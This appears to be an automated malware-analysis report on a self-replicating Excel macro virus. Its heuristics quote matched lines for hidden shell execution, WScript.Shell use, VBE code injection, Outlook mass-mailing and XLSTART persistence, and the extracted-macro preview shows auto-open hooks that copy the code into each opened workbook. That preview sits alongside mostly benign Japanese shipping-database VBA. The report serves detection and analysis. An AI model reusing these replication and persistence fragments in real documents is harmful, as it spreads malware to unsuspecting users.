Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6379972dde0dea61…

MALICIOUS

Office (OLE)

959.5 KB Created: 2003-01-29 17:49:51 Authoring application: Microsoft Excel First seen: 2014-03-02
MD5: bae0ff1feea16d6187a2efcb58cd3dad SHA-1: 62dbbc251d55e1a66b623f18bd083af00f506e31 SHA-256: 6379972dde0dea6181354b70679d455a17e60e538fc0cbff7453d8d34917220a
866 Risk Score

Heuristics 22

  • Raw OLE macro text shows self-replication or security tampering critical OLE_RAW_MACRO_SELF_REPLICATION
    OLE streams contain macro source text with auto-run entry points, CreateObject automation, CodeModule AddFromString/InsertLines/DeleteLines behavior, and Outlook or macro-security tampering. This is high-confidence macro-virus behavior even when oletools does not recover a standard VBA project.
  • Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGER
    Raw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • VBA macros detected medium 13 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                Lrtn = Shell("C:\Temp\mecab.bat", vbHide)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set oWshell = CreateObject("WScript.Shell")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .InsertLines 1, "Public WithEvents xx As Application"
  • VBA email-worm self-replication (Outlook mass-mailer) critical OLE_VBA_EMAIL_WORM_SELF_REPLICATION
    VBA macro drives Outlook to mass-mail itself: it automates Outlook.Application, programmatically creates a mail item, and spreads by harvests recipients from the MAPI address book / inbox, attaches a file to the outgoing message. Harvesting recipients from the address book / inbox and auto-attaching the carrier to outgoing messages is the defining behavior of the Melissa / LoveLetter / W97M mass-mailer worm lineage — there is no benign document use, independent of any AV signature.
    Matched line in script
        Set itmNewMail = objOL.CreateItem(olMailItem)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Private Sub auto_open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        FName = Environ("Temp") & "\" & ModuleName & ".bas"
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.soumu.go.jp/joho_tsusin/top/tel_number/shigai_list.html Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 291243 bytes
SHA-256: 9f73bc17af48b5aa907cd0d67f44f6a28096be101e58ffc8eacf3dec8f7f5a9a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public WithEvents xx As Application
Attribute xx.VB_VarHelpID = -1
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "vbaMstMnt"
Option Explicit

Public LActRow          As Long
Public LACTCol          As Integer
'
Public sActSheet        As String
'
'
'   Dao データベース処理
Public DB               As Database
Public RS               As Recordset
'
'
Public sMDBPath         As String
Public sSysPath          As String
'
'--------------------------------------------------------
'
Public Const cSHR_Data = "SHR_Data"
Public Const cMDB_Fname = "Master.mdb"

Public Const cMDB_LCLP = "C:\Temp\"
'
Sub Sub_SetShipper()
    '
    '
    '
    LActRow = ActiveCell.Row
    '
    If LActRow < 5 Then
        MsgBox "A line with cursor is inaccurate."
        Exit Sub
    End If
    '
    sActSheet = ActiveSheet.Name
    '
    FrmShipper.Show 1
    '
End Sub

Sub Sub_SetCONSIGNEE()
    '
    '
    '
    LActRow = ActiveCell.Row
    '
    If LActRow < 5 Then
        MsgBox "A line with cursor is inaccurate."
        Exit Sub
    End If
    '
    sActSheet = ActiveSheet.Name
    
    FrmConsignee.Show 1
    '
End Sub

Public Function Fnc_CNInf_Get(sWCNName As String, sTel As String, sAdd As String) As String
    '
    '   Get CONSIGNEE CODE From CONSIGNEE NAME
    '
    '       IN      : sWCNName  = CONSIGNEE NAME
    '       OUT     : sTel      = CONSIGNEE TELEPHONE NUMBER
    '                 sAdd      = CONSIGNEE ADDRESS
    '       Return  : CONSIGNEE CODE
    '
    Dim LRow As Long
    '
    '   Init
    Fnc_CNInf_Get = ""
    sAdd = ""
    sTel = ""
    '
    With Worksheets("CONSIGNEE")
    '
    LRow = 2
    '
    Do While Trim(.Cells(LRow, 2).Value) <> ""
        '
        If sWCNName = Trim(.Cells(LRow, 2).Value) Then
            '
            Fnc_CNInf_Get = .Cells(LRow, 1).Value
            sAdd = .Cells(LRow, 3).Value
            sTel = .Cells(LRow, 4).Value
            '
            Exit Do
        End If
        '
        LRow = LRow + 1
        '
    Loop
    '
    End With
    '
End Function

Sub Sub_ChngMain()
    '
    ' Main Sheet Select
    '
    Worksheets("Main").Select
    '
    Worksheets("Main").Cells(3, 3).Select
    '
End Sub

Sub Sub_ChngConsignee()
    '
    Call FrmCnsMnt.Sub初期処理
    '
    FrmCnsMnt.Show 1
    '
End Sub

Sub Sub_ChngShipper()
    '
    ' Shipper Sheet Select
    '
    Worksheets("SHIPPER").Select
    '
    Worksheets("SHIPPER").Cells(2, 1).Select
    '
End Sub

Sub Sub_輸入者情報更新()
'
' Selection of the row which should add data
'
    Dim L最終行     As Long
    Dim LRow        As Long
    '
    Dim sSQLH       As String
    Dim sSQLD       As String
    Dim sSQL        As String
    '
    Dim sCmpNm      As String
    Dim sPhoneNo    As String
    Dim sPhoneNoNH  As String
    '
    Dim iRtn        As Integer
    '
    Dim LAddCnt     As Long
    Dim LUpdCnt     As Long
    
    '
    iRtn = FncMdbOpen
    '
    '   Insert文セット
    sSQLH = "Insert Into 輸入者情報(IIE, COMPANY_NAME, ADDRESS, PHONE,WITHOUT_HAIHUN) "
    '
    Cells(65536, 2).Select
    Selection.End(xlUp).Select
    '
    L最終行 = ActiveCell.Row
    '
    Cells(2, 1).Select
    '
    If L最終行 = 1 Then
        MsgBox "データがありません。"
        Exit Sub
    End If
    '
    LAddCnt = 0
    LUpdCnt = 0
    
    
    For LRow = 2 To L最終行
        '
        sPhoneNo = Trim(Cells(LRow, 4).Value)
        '   WITHOUT_HAIHUN
        sPhoneNoNH = Replace(sPhoneNo, "-", "")
        If Left(sPhoneNoNH, 1) = "0" Then
            sPhoneNoNH = Mid(sPhoneNoNH, 2)
        End If
        '
        '   レコードが既に存在すれば、削除
        sSQL = "Select * From 輸入者情報 Where WITHOUT_HAIHUN='" & sPhoneNoNH & "'"
        Set RS = DB.OpenRecordset(sSQL)
        If Not RS.EOF Then
            sSQL = "Delete From 輸入者情報 Where WITHOUT_HAIHUN='" & sPhoneNoNH & "'"
            DB.Execute sSQL
            LUpdCnt = LUpdCnt + 1
        Else
            LAddCnt = LAddCnt + 1
        End If
        '
        sSQLD = " VALUES ("
        '   IIE
        sSQLD = sSQLD & "'" & Trim(Cells(LRow, 1).Value) & "'"
        '   COMPANY_NAME
        sCmpNm = Trim(Cells(LRow, 2).Value)
        While InStr(sCmpNm, "''") > 0
            sCmpNm = Replace(sCmpNm, "''", "'")
        Wend
        sCmpNm = Replace(sCmpNm, "'", "''")
        sSQLD = sSQLD & ",'" & sCmpNm & "'"
        '   ADDRESS
        sSQLD = sSQLD & ",'" & Trim(Cells(LRow, 3).Value) & "'"
        '   PHONE
        sSQLD = sSQLD & ",'" & sPhoneNo & "'"
        '   WITHOUT_HAIHUN
        sPhoneNo = Replace(sPhoneNo, "-", "")
        If Left(sPhoneNo, 1) = "0" Then
            sPhoneNo = Mid(sPhoneNo, 2)
        End If
        sSQLD = sSQLD & ",'" & sPhoneNo & "'"
        '
        sSQLD = sSQLD & ")"
        '
        sSQL = sSQLH & sSQLD
        '
        DB.Execute sSQL
        '
    Next LRow
    '
    iRtn = FncMdbClose
    '
    MsgBox "更新しました。" & vbLf & "(追加：" & Format(LAddCnt, "##,##0") & "、更新：" & Format(LUpdCnt, "##,##0") & ")"
    '
End Sub
'
Sub SubGo最終行()
    '
    Cells(65536, 1).Select
    Selection.End(xlUp).Select
    '
End Sub
'
'Sort
'
Sub Sub_SortCnsgn()
    '
    Cells(2, 2).Select
    Selection.Sort Key1:=Range("B2"), Order1:=xlAscending, Header:=xlYes, _
        OrderCustom:=1, MatchCase:=False, Orientation:=xlTopToBottom, SortMethod _
        :=xlPinYin
End Sub

Sub Sub_SortShpr()
    '
    Cells(2, 1).Select
    Selection.Sort Key1:=Range("A1"), Order1:=xlAscending, Header:=xlYes, _
        OrderCustom:=1, MatchCase:=False, Orientation:=xlTopToBottom, SortMethod _
        :=xlPinYin
End Sub

'*********************************************************************
'
'   MDB処理
'
'*********************************************************************
'
'---------------------------------------------------------------------
'
'   MDB LOCAL ファイルOpen
'
'---------------------------------------------------------------------
Function FncMdbOpen_Local() As Integer
    '
    '   MDBファイルOPEN
    '       Return  :   0=正常
    '                   1=異常
    '
    Dim wMsg    As String
    Dim sMDBPathLocal As String
    '
    On Error GoTo Err_Proc
    '
    '
    '
    wMsg = "データベースファイルのOpenに失敗しました。"
    '
    sMDBPathLocal = cMDB_LCLP & cMDB_Fname
    '
    Set DB = OpenDatabase(sMDBPathLocal)
    '
    FncMdbOpen_Local = 0
    '
    Exit Function
    '
Err_Proc:
    '   Error処理
    '
    If wMsg <> "" Then
        MsgBox wMsg & vbCr & "(" & Err.Description & ")"
    End If
    '
    FncMdbOpen_Local = 1
    '
End Function
'---------------------------------------------------------------------
'
'   MDB ファイルOpen
'
'---------------------------------------------------------------------
Function FncMdbOpen() As Integer
    '
    '   MDBファイルOPEN
    '       Return  :   0=正常
    '                   1=異常
    '
    Dim wMsg    As String
    '
    On Error GoTo Err_Proc
    '
    '
    wMsg = "フォルダ環境情報の取得に失敗しました。"
    '
    sSysPath = Worksheets("SystemIni").Cells(1, 11).Value
    If Right(sSysPath, 1) <> "\" Then
        sSysPath = sSysPath & "\"
    End If
    '
    wMsg = "データベースファイルのOpenに失敗しました。"
    '
    sMDBPath = sSysPath & "..\" & cSHR_Data & "\" & cMDB_Fname
    '
    Set DB = OpenDatabase(sMDBPath)
    '
    FncMdbOpen = 0
    '
    Exit Function
    '
Err_Proc:
    '   Error処理
    '
    If wMsg <> "" Then
        MsgBox wMsg & vbCr & "(" & Err.Description & ")"
    End If
    '
    FncMdbOpen = 1
    '
End Function
'
'---------------------------------------------------------------------
'
'   MDB ファイルClose
'
'---------------------------------------------------------------------
Function FncMdbClose() As Integer
    '
    '   MDBファイルClose
    '       Return  :   0=正常
    '                   1=異常
    '
    Dim wMsg    As String
    '
    On Error GoTo Err_Proc
    '
    '
    wMsg = "データベースファイルのCloseに失敗しました。"
    '
    DB.Close
    Set DB = Nothing
    '
    FncMdbClose = 0
    '
    Exit Function
    '
Err_Proc:
    '   Error処理
    '
    If wMsg <> "" Then
        MsgBox wMsg
    End If
    '
    FncMdbClose = 1
    '
End Function

'-------------------------------------------------------
'
'   Nullエラー抑止 データ取得
'
'-------------------------------------------------------
Function FncGetRs(wRS As Object, wItem As String) As Variant
    '
    '
    If IsNull(wRS(wItem)) Then
        FncGetRs = ""
    Else
        FncGetRs = RTrim(wRS(wItem))
    End If
    '
End Function





Attribute VB_Name = "vbaDlogModule"
Option Explicit
'
'ファイルを開くダイアログを表示するAPI
Declare Function GetOpenFileName Lib "comdlg32.dll" Alias "GetOpenFileNameA" _
(pOpenfilename As OPENFILENAME) As Long

'APIに渡す構造体を定義
Public Type OPENFILENAME
    lStructSize As Long           'この構造体の長さ
    hwndOwner As Long           '呼び出し元ウインドウハンドル
    hInstance As Long
    lpstrFilter As String           'フィルタ文字列
    lpstrCustomFilter As String
    nMaxCustrFilter As Long
    nFilterIndex As Long
    lpstrFile As String              '選択されたファイル名（フルパス）
    nMaxFile As Long                 'lpstrFileのバッファサイズ
    lpstrFileTitle As String
    nMaxFileTitle As Long
    lpstrInitialDir As String        '初期フォルダ名
    lpstrTitle As String             'コモンダイアログのタイトル名
    flags As Long                    'フラグ
    nFileOffset As Integer
    nFileExtension As Integer
    lpstrDefExt As String           'ファイル名の入力時、拡張子が省略された時の拡張子
    lCustrData As Long
    lpfnHook As Long
    lpTemplateName As String
End Type


Sub Sub_FileDialog()

    Dim Fkouzou As OPENFILENAME
    Dim lngRet As Long, NULLPos As Long
    Dim FileName As String
    '
    Dim sDataPathIni    As String
    Dim sDataPath       As String
    '
    sDataPathIni = Worksheets("SystemIni").Cells(11, 3).Value
    If Left(sDataPathIni, 1) = "." Then
        sDataPath = sCPath & sDataPathIni
    Else
        sDataPath = sDataPathIni
    End If
    '
    With Fkouzou                             'GetOpenFileName関数に渡す構造体を設定
        .lStructSize = Len(Fkouzou)
        .lpstrInitialDir = sDataPath  '（最初に表示するディレクトリ）
                                            '（フィルターでファイル種類を絞る）
        .lpstrFilter = "Excel(*.xls)" & vbNullChar & "*.xls" _
        & vbNullChar & "Text(*.txt)" & vbNullChar & "*.txt"
        .nMaxFile = 256                        '（ファイル名の最大長（パス含む））
        .lpstrFile = String(256, vbNullChar)   '（ファイル名を格納する文字列
                                                ' NULLで埋めておく）
    End With
    
    lngRet = GetOpenFileName(Fkouzou)   'ファイル選択ダイアログを表示。
                                '（「開く」を押すと.lpstrFileにファイル名が格納される。
                                '  実際に「開かれる」わけではない！）
    
    NULLPos = InStr(Fkouzou.lpstrFile, vbNullChar)  'ファイル名の終り(NULLの位置)を調べる
    FileName = Left(Fkouzou.lpstrFile, NULLPos - 1) 'ファイル名の有効部分を取り出す
    
    
    If FileName <> "" Then  'キャンセルを押された場合は実行しない。
        Worksheets("MAIN").Cells(3, 3).Value = FileName
    End If


End Sub


Sub Sub_FileDialog搬入実績()

    Dim Fkouzou As OPENFILENAME
    Dim lngRet As Long, NULLPos As Long
    Dim FileName As String
    '
    Dim sDataPathIni    As String
    Dim sDataPath       As String
    '
    sDataPathIni = Worksheets("SystemIni").Cells(11, 11).Value
    If Left(sDataPathIni, 1) = "." Then
        sDataPath = sCPath & sDataPathIni
    Else
        sDataPath = sDataPathIni
    End If
    '
    With Fkouzou                             'GetOpenFileName関数に渡す構造体を設定
        .lStructSize = Len(Fkouzou)
        .lpstrInitialDir = sDataPath  '（最初に表示するディレクトリ）
                                            '（フィルターでファイル種類を絞る）
        .lpstrFilter = "Text(*.txt)" & vbNullChar & "*.txt"
        .nMaxFile = 256                        '（ファイル名の最大長（パス含む））
        .lpstrFile = String(256, vbNullChar)   '（ファイル名を格納する文字列
                                                ' NULLで埋めておく）
    End With
    
    lngRet = GetOpenFileName(Fkouzou)   'ファイル選択ダイアログを表示。
                                '（「開く」を押すと.lpstrFileにファイル名が格納される。
                                '  実際に「開かれる」わけではない！）
    
    NULLPos = InStr(Fkouzou.lpstrFile, vbNullChar)  'ファイル名の終り(NULLの位置)を調べる
    FileName = Left(Fkouzou.lpstrFile, NULLPos - 1) 'ファイル名の有効部分を取り出す
    
    S搬入実績TxtFile = FileName

End Sub




Attribute VB_Name = "FrmShipper"
Attribute VB_Base = "0{6268E27D-338E-46F2-942B-7DEDCF19A9B7}{650933FA-9A25-42E7-837F-DEE5034123E1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Dim LDataCnt As Long

Private Sub LstShipper_KeyDown(ByVal KeyCode As MSForms.ReturnInteger, ByVal Shift As Integer)
    '
    If KeyCode = 13 Then
        '
        'Processing when pushing an enter key
        '
        KeyCode = 0
        '
        CmdSelect.SetFocus
        '
    End If
    '
End Sub

'
' Search Text KeyDown
'
Private Sub TxtSearch_KeyDown(ByVal KeyCode As MSForms.ReturnInteger, ByVal Shift As Integer)
    '
    If KeyCode = 13 Then
        '
        'Processing when pushing an enter key
        '
        KeyCode = 0
        '
        CmdSelect.SetFocus
        '
    End If
    '
End Sub

'
' Search Keyword text KeyUp
'
Private Sub TxtSearch_KeyUp(ByVal KeyCode As MSForms.ReturnInteger, ByVal Shift As Integer)
    '
    Dim sStr As String
    Dim i As Long, j As Long
    '
    '
    '
    With LstShipper
        '
        If Trim(TxtSearch.Text) = "" Then
            .ListIndex = -1
            Exit Sub
        End If
        '
        sStr = Trim(TxtSearch.Text)
        j = Len(sStr)
        '
        'Search
        '
        For i = 0 To LDataCnt
            '
            If UCase(Left(sLCName(i, 0), j)) = UCase(sStr) Then
                .ListIndex = i
                Exit For
            End If
            '
        Next i
        '
        'It is positioning by the premise to have ranked with ascending, when there is no same data.
        '
        If i > LDataCnt Then
            For i = 0 To LDataCnt
                '
                '.ListIndex = i
                'If UCase(Left(.Value, j)) >= UCase(sStr) Then
                If UCase(Left(sLCName(i, 0), j)) >= UCase(sStr) Then
                    .ListIndex = i
                    Exit For
                End If
                '
            Next i
        End If
        '
    End With
    '
End Sub

Private Sub CmdSelect_Click()
    '
    '
    '
    Dim LIndex As Long
    '
    LIndex = LstShipper.ListIndex
    '
    If LIndex < 0 Then
        '
        'MsgBox "Data is not chosen."
        MsgBox "データが選択されていません。"
        Exit Sub
        '
    End If
    '
    With Worksheets(sActSheet)
    .Cells(LActRow, 11).Value = Worksheets("SHIPPER").Cells(LIndex + 2, 1)
    .Cells(LActRow, 12).Value = Worksheets("SHIPPER").Cells(LIndex + 2, 2)
    '
    .Cells(LActRow, 11).Font.Color = RGB(0, 0, 0)
    .Cells(LActRow, 12).Font.Color = RGB(0, 0, 0)
    .Cells(LActRow, 11).Font.Bold = False
    .Cells(LActRow, 12).Font.Bold = False
    End With
    '
    Unload Me
    '
End Sub

Private Sub CmdCancel_Click()
    '
    '
    '
    Unload Me
End Sub


Private Sub LstShipper_DblClick(ByVal Cancel As MSForms.ReturnBoolean)
    '
    Call CmdSelect_Click
    '
End Sub

'
' Form Activate
'
Private Sub UserForm_Activate()
    '
    Dim Li As Long, Lj As Long
    '
    'Initialize
        TxtSearch.Text = ""
    TxtSearch.SetFocus
    '
    '    Get Consignee Data
    '
    With Worksheets("SHIPPER")
    '
    'Clear
    '
    LstShipper.Clear
    '
    Erase sLCName, sWLCNam
    '
    Li = 2       'Start Row
    Lj = 0       '
    '
    While Trim(.Cells(Li, 1).Value) <> ""
        '
        ReDim Preserve sWLCNam(2, Lj)
        '
        sWLCNam(0, Lj) = Trim(.Cells(Li, 1).Value)
        sWLCNam(1, Lj) = Trim(.Cells(Li, 2).Value)
        '
        'Count up
        Lj = Lj + 1
        '
        'Next Row
        Li = Li + 1
        '
    Wend
    '
    'Data Count
    LDataCnt = Lj - 1        ' 0 origin
    '
    If LDataCnt < 0 Then
        MsgBox "データが登録されていません。"
        Exit Sub
    End If
    '
    ReDim sLCName(LDataCnt, 2)
    '
    For Li = 0 To LDataCnt
        sLCName(Li, 0) = sWLCNam(0, Li)
        sLCName(Li, 1) = sWLCNam(1, Li)
    Next Li
    '
    LstShipper.ColumnCount = 2
    LstShipper.List() = sLCName
    '
    '
    End With
    '
    '
End Sub


Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "vbaSave"
Dim sSavPath As String
Dim sOrgPath As String
Dim sOrgBkNam As String
'
' Excel [ finishing / data processing ] is saved.
'
Sub Sub_SaveExcel()
    '
    Dim i As Integer
    Dim bFlg As Boolean
    Dim iRtn As Integer
    Dim sExcelNam As String
    Dim sTkn        As String
    '
    '   Rate
    Cells(10, 3).Value = ""
    Cells(11, 3).Value = ""
    '
    'System Sheets
    '   workbook path
    sSavPath = Worksheets("SystemIni").Cells(1, 11).Value
    '   Set WorkBook BackUp Path
    sOrgPath = Trim(Worksheets("SystemIni").Cells(14, 3).Value)
    If Right(sOrgPath, 1) <> "\" Then
        sOrgPath = sOrgPath & "\"
    End If
    If Left(sOrgPath, 1) = "." Then
        sOrgPath = sSavPath & sOrgPath
    Else
        sOrgPath = sOrgPath
    End If
    '
    'Workbook.Name Get
    sExcelNam = Worksheets("SystemIni").Cells(2, 11).Value
    sOrgBkNam = Worksheets("SystemIni").Cells(3, 11).Value
    '
    'Check
    '
    If UCase(ActiveWorkbook.Name) = UCase(sOrgBkNam) Then
        'MsgBox "Please perform overwrite preservation of Excel."
        MsgBox "Excelﾌｧｲﾙを更新済みです。" & Chr(10) & "今の状態を保存するには、上書き保存してください。"
        Exit Sub
    End If
    '
    'iRtn = MsgBox("Does it perform truly?", vbYesNo)
    iRtn = MsgBox("Excelﾌｧｲﾙを更新してよろしいですか？" _
                  & vbCr & "(MANIFESTデータを更新後保存されていない場合、先に上書き保存してください。)", vbYesNo)
    If iRtn <> vbYes Then
        Exit Sub
    End If
    '
    'Data Sheet Delete
    '
    bFlg = False
    For i = 1 To Worksheets.Count
        If UCase(Worksheets(i).Name) = cOriginalSheet Then
            bFlg = True
        End If
    Next i
    '
    If bFlg Then
        Application.DisplayAlerts = False
        Worksheets(cOriginalSheet).Delete
        Application.DisplayAlerts = True
    End If
    '
    bFlg = False
    For i = 1 To Worksheets.Count
        If UCase(Worksheets(i).Name) = C今回配送WSName Then
            bFlg = True
        End If
    Next i
    '
    If bFlg Then
        Application.DisplayAlerts = False
        Worksheets(C今回配送WSName).Delete
        Application.DisplayAlerts = True
    End If
    '
    'Other Sheets Data Delete
        'Data Row Delete
    Sheets(cOtherSheet).Select
    Rows("5:65536").Select
    Selection.Delete Shift:=xlUp
        'MAWB NO. Clear
    Worksheets(cOtherSheet).Cells(1, 3).Select
    Selection.ClearContents
    Worksheets(cOtherSheet).Cells(1, 4).Select
    Selection.ClearContents
        '便名 Clear
    Worksheets(cOtherSheet).Cells(1, 8).Select
    Selection.ClearContents
        'Data Count Clear
'    Worksheets(cOtherSheet).Cells(1, 8).Select
'    Selection.ClearContents
        'Change the active cell
    Worksheets(cOtherSheet).Cells(5, 1).Select
    '
    'MANIFEST Sheets Data Delete
        'Data Row Delete
    Sheets(cMnfstSheet).Select
    Rows("5:65536").Select
    Selection.Delete Shift:=xlUp
        'MAWB NO. Clear
    Worksheets(cMnfstSheet).Cells(1, 3).Select
    Selection.ClearContents
    Worksheets(cMnfstSheet).Cells(1, 4).Select
    Selection.ClearContents
        '便 Clear
    Worksheets(cMnfstSheet).Cells(1, 8).Select
    Selection.ClearContents
'    Worksheets(cMnfstSheet).Cells(1, 8).Select
'    Selection.ClearContents
        'Data Count Clear
'    Worksheets(cMnfstSheet).Cells(1, 8).Select
'    Selection.ClearContents
        'Change the active cell
    Worksheets(cMnfstSheet).Cells(5, 1).Select
    '
    'MANIFESTSub Sheets Data Delete
        'Data Row Delete
    Sheets(cMnfstSubSheet).Select
    Rows("5:65536").Select
    Selection.Delete Shift:=xlUp
        'MAWB NO. Clear
    Worksheets(cMnfstSubSheet).Cells(1, 3).Select
    Selection.ClearContents
    Worksheets(cMnfstSubSheet).Cells(1, 4).Select
    Selection.ClearContents
        '便 Clear
    Worksheets(cMnfstSubSheet).Cells(1, 8).Select
    Selection.ClearContents
'    Worksheets(cMnfstSubSheet).Cells(1, 8).Select
'    Selection.ClearContents
        'Data Count Clear
'    Worksheets(cMnfstSubSheet).Cells(1, 8).Select
'    Selection.ClearContents
        'Change the active cell
    Worksheets(cMnfstSubSheet).Cells(5, 1).Select
    '
    '   シート選択
    Worksheets(cMainSheet).Cells(30, 4).Value = 1
    'RSV Sheets Data Delete
        'Data Row Delete
   Sheets(cRsvSheet).Select
    Rows("5:65536").Select
    Selection.Delete Shift:=xlUp
    Worksheets(cRsvSheet).Cells(1, 3).Select
    Selection.ClearContents
    Worksheets(cRsvSheet).Cells(1, 4).Select
    Selection.ClearContents
    '    Change the active cell
    Worksheets(cRsvSheet).Cells(5, 1).Select
    'RSVSUB Sheets Data Delete
    '    Data Row Delete
    Sheets(cRSVSubSheet).Select
    Rows("5:65536").Select
    Selection.Delete Shift:=xlUp
    Selection.Delete Shift:=xlUp
    Worksheets(cRSVSubSheet).Cells(1, 3).Select
    Selection.ClearContents
    Worksheets(cRSVSubSheet).Cells(1, 4).Select
    Selection.ClearContents
        'Change the active cell
    Worksheets(cRSVSubSheet).Cells(5, 1).Select
    '
    'CONSIGNEE Sheets Data Delete
        'Data Row Delete
    If Sheets(cCnsSheet).Visible Then
        Sheets(cCnsSheet).Select
        Rows("2:65536").Select
        Selection.Delete Shift:=xlUp
        Cells(2, 1).Select
    End If
    'Other Sheets Data Delete
        'Data Row Delete
    Sheets(cIppanSheet).Select
    Rows("5:65536").Select
    Selection.Delete Shift:=xlUp
        'MAWB NO. Clear
    Worksheets(cIppanSheet).Cells(1, 3).Select
    Selection.ClearContents
    Worksheets(cIppanSheet).Cells(1, 4).Select
    Selection.ClearContents
        '便名 Clear
    Worksheets(cIppanSheet).Cells(1, 8).Select
    Selection.ClearContents
        'Data Count Clear
'    Worksheets(cOtherSheet).Cells(1, 8).Select
